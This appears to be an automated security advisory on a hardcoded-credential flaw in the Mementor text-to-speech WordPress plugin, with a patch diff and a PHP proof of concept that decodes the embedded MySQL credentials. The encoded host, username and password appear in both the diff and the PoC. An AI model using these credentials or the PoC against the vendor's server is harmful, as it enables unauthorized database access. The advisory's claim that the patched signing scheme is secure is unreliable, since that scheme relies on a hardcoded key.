Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-1233: Text to Speech (TTS) by Mementor <= 1.9.8 – Use of Hardcoded Password to Unauthenticated Remote Database Access (text-to-speech-tts)

CVE ID CVE-2026-1233
Severity High (CVSS 7.5)
CWE 798
Vulnerable Version 1.9.8
Patched Version 1.9.9
Disclosed April 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1233:
The Text to Speech for WP plugin, versions 1.9.8 and earlier, contains a hardcoded credential vulnerability. The plugin’s `Mementor_TTS_Remote_Telemetry` class embeds encoded MySQL credentials for the vendor’s external telemetry database. This flaw allows unauthenticated attackers to extract and decode these credentials, leading to unauthorized write access to the vendor’s database. The CVSS score of 7.5 reflects the high impact of this information exposure.

The root cause lies in the `class-mementor-tts-remote-telemetry.php` file. The `Mementor_TTS_Remote_Telemetry` class defines four private properties (`$enc_host`, `$enc_db`, `$enc_user`, `$enc_pass`) on lines 24-27. These properties store base64-encoded database credentials. The `insert_remote_data` function, starting at line 273, decodes these credentials using a double `base64_decode` operation. It then uses them to establish a direct `mysqli` connection to an external MySQL server. The credentials are static and embedded within the plugin code distributed to all users.

Exploitation does not require a specific HTTP endpoint or user interaction. An attacker can obtain the plugin’s source code from any WordPress installation or the public repository. The credentials are present in the file `text-to-speech-tts/includes/class-mementor-tts-remote-telemetry.php`. The attacker extracts the four encoded strings from the class properties. They then apply a double base64 decode to each string to recover the plaintext host, database name, username, and password. With these credentials, the attacker can connect directly to the vendor’s MySQL telemetry server from any location.

The patch in version 1.9.9 completely removes the direct database connection. It deletes the four encoded credential properties and replaces them with a single `$api_endpoint` property pointing to a secure HTTPS API. The `insert_remote_data` function is rewritten to send data via `wp_remote_post` to this API endpoint. The function now uses a request signature for authentication instead of database credentials. This architectural change eliminates the exposure of static credentials in the client-side code.

Successful exploitation grants an attacker write access to the vendor’s remote telemetry database. The attacker can insert, update, or delete records in the `tts_usage_data` table. This could corrupt telemetry data, inject malicious content, or perform denial-of-service against the database service. While the vulnerability does not directly compromise the WordPress site, it compromises the vendor’s external infrastructure. The hardcoded nature means the credentials are globally exposed across all installations of the vulnerable plugin versions.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/text-to-speech-tts/includes/class-mementor-tts-remote-telemetry.php
+++ b/text-to-speech-tts/includes/class-mementor-tts-remote-telemetry.php
@@ -20,16 +20,13 @@
     private static $instance = null;

     /**
-     * Encrypted database credentials
-     * These are obfuscated to prevent easy access
+     * Remote telemetry API endpoint
+     * Uses secure HTTPS API instead of direct database connection
      */
-    private $enc_host = 'YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9';
-    private $enc_db = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=';
-    private $enc_user = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09';
-    private $enc_pass = 'UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==';
-
+    private $api_endpoint = 'https://crm.mementor.no/plugin/api/telemetry/v1/collect.php';
+
     /**
-     * Table name for telemetry data
+     * Table name for telemetry data (used for reference only)
      */
     private $table_name = 'tts_usage_data';

@@ -265,102 +262,75 @@
     }

     /**
-     * Insert data into remote database
-     *
-     * @param array $data Data to insert
+     * Send data to remote telemetry API
+     *
+     * Uses secure HTTPS POST instead of direct database connection
+     * to prevent credential exposure (CVE fix for versions <= 1.9.3)
+     *
+     * @param array $data Data to send
      * @return bool Success
      */
     private function insert_remote_data($data) {
-        // Decrypt credentials
-        $host = base64_decode(base64_decode($this->enc_host));
-        $dbname = base64_decode(base64_decode($this->enc_db));
-        $username = base64_decode(base64_decode($this->enc_user));
-        $password = base64_decode(base64_decode($this->enc_pass));
-
-        // Create connection using mysqli
-        $mysqli = new mysqli($host, $username, $password, $dbname);
-
-        // Check connection
-        if ($mysqli->connect_error) {
+        // Generate request signature for authentication
+        $timestamp = time();
+        $nonce = wp_generate_password(16, false);
+        $signature = hash_hmac('sha256', $data['domain'] . $timestamp . $nonce, 'mementor_tts_telemetry_v1');
+
+        // Prepare request body
+        $body = array(
+            'telemetry_data' => $data,
+            'timestamp' => $timestamp,
+            'nonce' => $nonce,
+            'signature' => $signature,
+            'api_version' => '1.0'
+        );
+
+        // Send via secure HTTPS POST using WordPress HTTP API
+        $response = wp_remote_post($this->api_endpoint, array(
+            'method' => 'POST',
+            'timeout' => 15,
+            'redirection' => 5,
+            'httpversion' => '1.1',
+            'blocking' => true,
+            'headers' => array(
+                'Content-Type' => 'application/json',
+                'X-Telemetry-Source' => 'mementor-tts-plugin',
+                'X-Plugin-Version' => MEMENTOR_TTS_VERSION
+            ),
+            'body' => wp_json_encode($body),
+            'sslverify' => true
+        ));
+
+        // Check for errors
+        if (is_wp_error($response)) {
             if (mementor_tts_is_debug_enabled()) {
-                error_log('Mementor TTS: Failed to connect to telemetry database');
+                error_log('Mementor TTS: Telemetry API request failed - ' . $response->get_error_message());
             }
             return false;
         }
-
-        // Set charset
-        $mysqli->set_charset('utf8mb4');
-
-        // Prepare SQL with INSERT ... ON DUPLICATE KEY UPDATE
-        // This will update only if data has changed
-        $sql = "INSERT INTO {$this->table_name} (
-            domain, date, user_type, plugin_version, pro_version,
-            generations, characters_total, shared_api_uses, shared_api_characters,
-            pro_api_uses, pro_api_characters, user_api_uses, user_api_characters,
-            errors, php_version, wp_version, country, created_at
-        ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
-        ON DUPLICATE KEY UPDATE
-            user_type = IF(VALUES(user_type) != user_type, VALUES(user_type), user_type),
-            plugin_version = IF(VALUES(plugin_version) != plugin_version, VALUES(plugin_version), plugin_version),
-            pro_version = IF(VALUES(pro_version) != pro_version OR pro_version IS NULL, VALUES(pro_version), pro_version),
-            generations = generations + VALUES(generations),
-            characters_total = characters_total + VALUES(characters_total),
-            shared_api_uses = shared_api_uses + VALUES(shared_api_uses),
-            shared_api_characters = shared_api_characters + VALUES(shared_api_characters),
-            pro_api_uses = pro_api_uses + VALUES(pro_api_uses),
-            pro_api_characters = pro_api_characters + VALUES(pro_api_characters),
-            user_api_uses = user_api_uses + VALUES(user_api_uses),
-            user_api_characters = user_api_characters + VALUES(user_api_characters),
-            errors = errors + VALUES(errors),
-            php_version = IF(VALUES(php_version) != php_version, VALUES(php_version), php_version),
-            wp_version = IF(VALUES(wp_version) != wp_version, VALUES(wp_version), wp_version),
-            country = IF(VALUES(country) != country AND country IS NOT NULL, VALUES(country), country),
-            created_at = VALUES(created_at)";
-
-        // Prepare statement
-        $stmt = $mysqli->prepare($sql);
-
-        if (!$stmt) {
-            $mysqli->close();
-            return false;
-        }
-
-        // Bind parameters
-        $stmt->bind_param(
-            'sssssiiiiiiiissss',
-            $data['domain'],
-            $data['date'],
-            $data['user_type'],
-            $data['plugin_version'],
-            $data['pro_version'],
-            $data['generations'],
-            $data['characters_total'],
-            $data['shared_api_uses'],
-            $data['shared_api_characters'],
-            $data['pro_api_uses'],
-            $data['pro_api_characters'],
-            $data['user_api_uses'],
-            $data['user_api_characters'],
-            $data['errors'],
-            $data['php_version'],
-            $data['wp_version'],
-            $data['country'],
-            $data['created_at']
-        );
-
-        // Execute
-        $result = $stmt->execute();
-
-        // Clean up
-        $stmt->close();
-        $mysqli->close();
-
-        return $result;
+
+        // Check response code
+        $response_code = wp_remote_retrieve_response_code($response);
+
+        if ($response_code >= 200 && $response_code < 300) {
+            return true;
+        }
+
+        if (mementor_tts_is_debug_enabled()) {
+            error_log('Mementor TTS: Telemetry API returned status ' . $response_code);
+        }
+
+        return false;
     }

     /**
-     * Create table structure (for reference)
-     * This SQL should be run on the remote database
+     * Get table structure (for vendor API backend reference only)
+     *
+     * Note: As of version 1.9.8, telemetry uses a secure HTTPS API endpoint
+     * instead of direct database connection. This method is kept for
+     * documentation purposes only.
+     *
+     * @return string SQL table structure
      */
     public function get_table_structure() {
         return "
--- a/text-to-speech-tts/text-to-speech-tts.php
+++ b/text-to-speech-tts/text-to-speech-tts.php
@@ -8,7 +8,7 @@
  * Plugin Name:       Text to Speech (TTS) by Mementor
  * Plugin URI:        https://mementor.no/en/wordpress-plugins/text-to-speech/
  * Description:       The easiest Text-to-Speech plugin for WordPress. Add natural voices, boost accessibility, and engage visitors with an instant audio player.
- * Version:           1.9.8
+ * Version:           1.9.9
  * Author:            Mementor AS
  * Author URI:        https://mementor.no/en/
  * License:           GPL-3.0+
@@ -25,7 +25,7 @@
 }

 // Define plugin constants
-define('MEMENTOR_TTS_VERSION', '1.9.8');
+define('MEMENTOR_TTS_VERSION', '1.9.9');
 define('MEMENTOR_TTS_PLUGIN_DIR', plugin_dir_path(__FILE__));
 define('MEMENTOR_TTS_PLUGIN_URL', plugin_dir_url(__FILE__));
 define('MEMENTOR_TTS_PLUGIN_BASENAME', plugin_basename(__FILE__));

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1233 - Text to Speech (TTS) by Mementor <= 1.9.8 - Use of Hardcoded Password to Unauthenticated Remote Database Access
<?php
// This script extracts and decodes the hardcoded credentials from the vulnerable plugin file.
// It demonstrates the simplicity of the attack, which requires only access to the plugin source.

// Simulated extraction of encoded strings from the vulnerable class properties.
$enc_host = 'YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9';
$enc_db   = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=';
$enc_user = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09';
$enc_pass = 'UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==';

// Decode function replicating the plugin's double base64_decode.
function decode_credential($encoded) {
    return base64_decode(base64_decode($encoded));
}

// Decode each credential.
$host = decode_credential($enc_host);
$dbname = decode_credential($enc_db);
$username = decode_credential($enc_user);
$password = decode_credential($enc_pass);

// Output the recovered credentials.
echo "Recovered Database Credentials:n";
echo "Host: $hostn";
echo "Database: $dbnamen";
echo "Username: $usernamen";
echo "Password: $passwordn";

// Optional: Demonstrate a connection attempt (commented for safety).
/*
$mysqli = new mysqli($host, $username, $password, $dbname);
if ($mysqli->connect_error) {
    die('Connection failed: ' . $mysqli->connect_error);
} else {
    echo "nSUCCESS: Connected to remote database.n";
    $mysqli->close();
}
*/
?>

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